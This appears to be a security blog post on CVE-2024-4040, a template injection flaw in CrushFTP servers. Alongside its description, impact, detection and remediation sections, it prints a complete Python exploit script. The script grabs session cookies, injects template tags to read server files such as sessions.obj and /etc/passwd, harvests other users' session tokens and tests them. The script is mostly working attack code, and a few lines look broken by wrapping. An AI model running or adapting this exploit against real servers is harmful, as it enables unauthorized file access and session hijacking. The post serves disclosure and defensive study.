CVE-2024-4040: A Critical CrushFTP Server-Side Template Injection Vulnerability

Introduction:

CVE-2024-4040 is a high-severity server-side template injection vulnerability impacting CrushFTP versions before 10.7.1 and 11.1.0. This vulnerability allows unauthenticated remote attackers to bypass security restrictions, potentially leading to complete server compromise.

Technical Breakdown:

CrushFTP utilizes a templating engine for dynamic content generation. CVE-2024-4040 stems from improper validation and sanitization of user-supplied input within these templates. An attacker can craft a malicious payload that, when processed by the engine, injects code and executes it on the server.

Exploit Scenario:

  • Payload Injection: The attacker submits a specially crafted request containing a template payload. This payload could be embedded within various data fields depending on the specific CrushFTP implementation.

  • Template Processing: The vulnerable server-side code processes the request and attempts to render the template using the attacker-controlled input.

  • Code Execution: Due to insufficient validation, the malicious code within the payload is not neutralized. The templating engine interprets and executes the injected code, granting the attacker a foothold on the server.

Potential Impact:

  • Unauthenticated Remote Code Execution (RCE): The attacker can leverage the vulnerability to execute arbitrary code on the server without any prior authentication. This allows them to install malware, steal sensitive data, or disrupt server operations.

  • Privilege Escalation: Injected code might exploit additional vulnerabilities to escalate privileges and gain administrative access.

  • Lateral Movement: The compromised server can be used as a springboard for further attacks within the network.

Indicators of Compromise (IOCs):

While specific IOCs might evolve over time, general signs of compromise to watch for include:

  • Unexpected changes in user accounts or privileges.

  • Unexplained modifications to system files.

  • Unusual network activity or unauthorized access attempts.

  • Presence of unknown processes or malware.

Proof of Concept:

To exploit CVE-2024-4040 for this PoC, we first need to set up a vulnerable version of CrushFTP on our local server. Let's use the following docker image to host it:

docker run -p 21:21 -p 443:443 -p 2222:2222 -p 8080:8080 -p 9091:9091 -v /var/log/CrushFTP9:/var/log/CrushFTP9 postadress/crushftp:10-1

Let's verify the CrushFTP installation on localhost:8080

We can use the default credentials to log into it: fadmin:admin

We will using the following script to exploit the SSTI vulnerability in our hosted CrushFTP:

import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as ET
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

violet = Style(color="bright_magenta")
green = Style(color="green")
red = Style(color="red")
yellow = Style(color="yellow")
grellow = Style(color="yellow2")
cyan = Style(color="cyan")
brightcyan = Style(color="bright_cyan")
urlblue = Style(color="blue1") 
console = Console(highlight=False)

def banner():
    console.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=cyan))
    console.print(Text("Developer: @stuub", style=violet))
    console.print(Text("Purely for ethical & educational purposes only\n", style=yellow))

def serverSessionAJAX(target, session):
    console.print(f"[green][*][/green] Attempting to reach ServerSessionAJAX...\n")
    url = f"{target}/WebInterface/"
    try:
        response = session.get(url, verify=False, allow_redirects=True)
        if response.status_code == 404:
            console.print(f"[green][+][/green] Successfully reached ServerSessionAJAX")
            if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
                crush_auth_cookie = response.cookies['CrushAuth']
                current_auth_cookie = response.cookies['currentAuth']
                console.print(f"[green][+][/green] CrushAuth Session token: " + crush_auth_cookie)
                console.print(f"[green][+][/green] Current Auth Session token: " +
current_auth_cookie)
                return crush_auth_cookie, current_auth_cookie
            else:
                console.print(f"[red][-][/red] 'CrushAuth' or 'currentAuth' cookie not found in the
response")
                exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to reach ServerSessionAJAX")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def SSTI(target, crush_auth_cookie, current_auth_cookie, session):
    console.print(f"\n[green][*][/green] Attempting to exploit SSTI vulnerability...")
    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path
{{hostname}}&names=/a"
    console.print("\n[green][+][/green] URL: [urlblue]{}[/urlblue]".format(url))
    headers = {
        "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
    }
    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully exploited SSTI vulnerability")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            console.print(f"[green][+][/green] Response: " + response_text)
        
        elif response.status_code == 404 or "{hostname}" in response.text:
            console.print(f"[red][-][/red] SSTI was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: " + response.text)
            exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to exploit SSTI vulnerability")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def authBypass(target, crush_auth_cookie, current_auth_cookie, session, lfi=None):    
        console.print(f"[green][*][/green] Attempting to bypass authentication...")    
        url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path
{{working_dir}}&names=/a"
        console.print(f"\n[green][+][/green] URL: " + url)
        headers = {
            "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
        }
    
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        
            if "{working_dir}" in response.text:
                console.print(f"[red][-][/red] Bypass was not successful, server is not vulnerable.")
                console.print(f"[red][-][/red] Response: " + response.text)
                exit(1)
            if response.status_code == 200:
                console.print(f"[green][+][/green] Successfully bypassed authentication")
                console.print(f"[green][+][/green] Response: " + response.text)
                root = ET.fromstring(response.text)
                response_text = root.find('response').text
                matches = re.findall(r'file:(.*?)(?=\n|$)', response_text)            
                if matches:
                    install_dir = matches[-1].strip()
                    console.print(f"[green][+][/green] Installation directory of CrushFTP: " +
install_dir)
                    file_to_read = lfi if lfi else f"{install_dir}sessions.obj"
                    console.print(f"[green][+][/green] File to read: " + file_to_read)
                    url = f"{target}/WebInterface/function/?c2f
{current_auth_cookie}&command=zip&path=<INCLUDE>{file_to_read
</INCLUDE>&names=/a"
                    console.print(f"\n[green][+][/green] Attempting to extract {file_to_read}...")
                    console.print(f"\n[green][+][/green] URL: " + url)
                    response = session.post(url, headers=headers, verify=False,
allow_redirects=True)
                    if response.status_code == 200 and response.text != "":
                        console.print(f"[green][+][/green] Successfully extracted {file_to_read}")
                        console.print(f"[green][+][/green] Extracted response: \n" + response.text)
                        if not lfi or lfi == f"{install_dir}sessions.obj":
                            extracted_crush_auth = [cookie[:44] for cookie in re.findall(r'CrushAuth
([^;]*)', response.text)]
                            extracted_current_auth = [cookie[:4] for cookie in re.findall(r'currentAuth
([^;]*)', response.text)]
                            console.print(f"\n[green][+][/green] Extracted cookies from {file_to_read}: ")
                            console.print(f"\n[green][+][/green] [yellow2]CrushAuth cookies:[/yellow2] "
+ ', '.join(extracted_crush_auth))
                            console.print(f"\n[green][+][/green] [yellow2]currentAuth cookies: [/yellow2]"
+ ', '.join(extracted_current_auth))
                            with open (f"sessions.obj", "w") as f:
                                f.write(response.text)
                            return extracted_crush_auth, extracted_current_auth
                        
                else:
                    print(f"[red][-][/red] Failed to extract file value")
                    return None
                
        except requests.exceptions.RequestException as e:
            console.print(f"[red][-][/red] Failed to bypass authentication")
            console.print(f"[red][-][/red] Error: " + str(e))
            exit(1)

def lfi_wordlist(target, crush_auth_cookie, current_auth_cookie, wordlist,session):
    console = Console()
    with open(wordlist, 'r') as f:
        files = [line.strip() for line in f]
    with Progress(console=console) as progress:
        task = progress.add_task("[bright_cyan]Processing wordlist...[/bright_cyan]",
total=len(files))
        for file in files:
            if progress.finished: break
            console.print(f"\n[green][*][/green] [cyan]Attempting to read file:[/cyan] {file}")
            url = f"{target}/WebInterface/function/?c2f
{current_auth_cookie}&command=zip&path=<INCLUDE>{file}</INCLUDE>&names=/a"
            headers = {
                "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
            }
            try:
                response = session.post(url, headers=headers, verify=False,
allow_redirects=True)
                if response.status_code == 200:
                    console.print(f"[green][+][/green] Successfully read file: {file}")
                    console.print(f"[green][+][/green] Response: \n" + response.text)
                progress.update(task, advance=1)
                
            except requests.exceptions.RequestException as e:
                console.print(f"[red][-][/red] Failed to read file: {file}")
                console.print(f"[red][-][/red] Error: " + str(e))

def test_tokens(target, crush_auth_cookie, current_auth_cookie, session):
    console = Console()
    if isinstance(crush_auth_cookie, str):
        crush_auth_cookie = crush_auth_cookie.split(', ')
    if isinstance(current_auth_cookie, str):
        current_auth_cookie = current_auth_cookie.split(', ')
    for crush_auth_token, current_auth_token in zip(crush_auth_cookie,
current_auth_cookie):
        url = f"{target}/WebInterface/function?command=getUsername&c2f
{current_auth_token}"
        headers = {
            "Cookie": f"CrushAuth={crush_auth_token}; currentAuth={current_auth_token}"
        }
        
        console.print(f"\n[green][+][/green] Testing tokens: CrushAuth={crush_auth_token},
currentAuth={current_auth_token}")
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
            if response.status_code == 200:
                console.print(f"[green][+][/green] Response: " + response.text)
            
        except requests.exceptions.RequestException as e:
            console.print(f"[red]Failed to test tokens: CrushAuth={crush_auth_token},
currentAuth={current_auth_token}[/red]")
            console.print(f"[red]Error: " + str(e) + "[/red]")

def main():
    parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
    parser.add_argument("-t", "--target", help="Target CrushFTP URL", required=True)
    parser.add_argument("-l", "--lfi", help="Local File Inclusion")
    parser.add_argument("-w", "--wordlist", help="Wordlist for LFI")
    args = parser.parse_args()
    banner()
    global session
    session = requests.Session()
    crush_auth_cookie, current_auth_cookie = serverSessionAJAX(target=args.target,
session=session)
    SSTI(target=args.target, crush_auth_cookie=crush_auth_cookie,
current_auth_cookie=current_auth_cookie, session=session)
    extracted_crush_auth, extracted_current_auth = authBypass(target=args.target,
crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie,
lfi=args.lfi, session=session)
    if args.wordlist:
        lfi_wordlist(target=args.target, crush_auth_cookie=crush_auth_cookie,
current_auth_cookie=current_auth_cookie, wordlist=args.wordlist, session=session)
    test_tokens(target=args.target, crush_auth_cookie=extracted_crush_auth,
current_auth_cookie=extracted_current_auth, session=session)

if __name__ == "__main__":
    main()

Let's break down how this script exploits CVE-2024-4040 in technical terms:

  • ServerSessionAJAX Function:

    • This function attempts to access the ServerSessionAJAX endpoint of the CrushFTP server.

    • It sends an HTTP GET request to this endpoint and checks the response.

    • If the server responds with a 404 status code, indicating that the endpoint exists, the function proceeds.

    • It then checks if the response contains specific cookies (CrushAuth and currentAuth). If found, these cookies are crucial for further exploitation.

  • SSTI Function:

    • This function attempts to exploit the Server Side Template Injection vulnerability.

    • It constructs a crafted URL with a specific command parameter (command=zip) and a payload that includes the {hostname} variable.

    • The payload is designed to trigger the SSTI vulnerability in CrushFTP's handling of template variables.

    • The function sends an HTTP POST request to the target server with the constructed URL and necessary headers containing the session cookies obtained earlier.

    • If the server responds with a 200 status code, indicating success, it parses the response XML to extract and display relevant information.

  • authBypass Function:

    • This function aims to bypass authentication on the CrushFTP server.

    • Similar to the SSTI function, it constructs a crafted URL with a command parameter and payload.

    • The payload exploits the SSTI vulnerability to extract the installation directory of CrushFTP and potential file paths.

    • It then attempts to read specific files (such as session object files) or files specified by the user (through the LFI parameter).

    • If successful, it extracts and displays information from the response, such as extracted cookies and file paths.

  • lfi_wordlist Function:

    • This function reads a wordlist file containing file paths that could be included via Local File Inclusion (LFI).

    • It iterates through each file path, constructs a crafted URL, and sends an HTTP POST request to the target server.

    • The goal is to include these files via LFI and retrieve their content.

  • test_tokens Function:

    • This function tests the extracted session tokens (CrushAuth and currentAuth) to validate their functionality.

    • It constructs a URL with a specific command parameter and the session tokens as cookies.

    • It sends an HTTP POST request to the target server to check if the tokens are valid.

In summary, the script utilizes crafted HTTP requests to exploit the SSTI vulnerability in CrushFTP, allowing for authentication bypass, potential file read operations, and validation of extracted session tokens. These actions collectively exploit the security vulnerability outlined in CVE-2024-4040.

Let's run this exploit script and see if we are able to read the files or not:

python3 crushed.py -t http://localhost:8080 -l /etc/passwd

Remediation:

  • Upgrade Immediately: The most effective mitigation strategy is to update CrushFTP to versions 10.7.1 or 11.1.0, which address the vulnerability.

  • Code Review and Patching (if patching is not possible): If immediate patching is not feasible, conduct a thorough code review of the templating engine and implement manual sanitization mechanisms to prevent code injection.

Detection and Prevention:

  • Web Application Security Scanners: Utilize web application security scanners to identify vulnerable templates and injection points within the CrushFTP installation.

  • Input Validation and Sanitization: Enforce strict input validation and sanitization procedures to prevent the execution of untrusted code.

  • WAF Integration: Consider integrating a web application firewall (WAF) to detect and block malicious requests attempting to exploit CVE-2024-4040.

Conclusion:

CVE-2024-4040 presents a serious security risk for CrushFTP deployments. By understanding the vulnerability's technical aspects, potential impact, and mitigation strategies, security researchers and system administrators can effectively address the threat and protect their servers.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-4040 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
2024-05-05
James McGill
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
2024-05-05
James McGill
CVE-2023-33733: RCE in Reportlab's HTML Parser
CVE-2023-33733: RCE in Reportlab's HTML Parser
2024-05-02
James McGill
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
2024-04-21
James McGill
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
2024-04-21
James McGill
CVE-2024-27198: Dissecting a Critical Authentication Bypass in JetBrains TeamCity
CVE-2024-27198: Dissecting a Critical Authentication Bypass in JetBrains TeamCity
2024-04-01
James McGill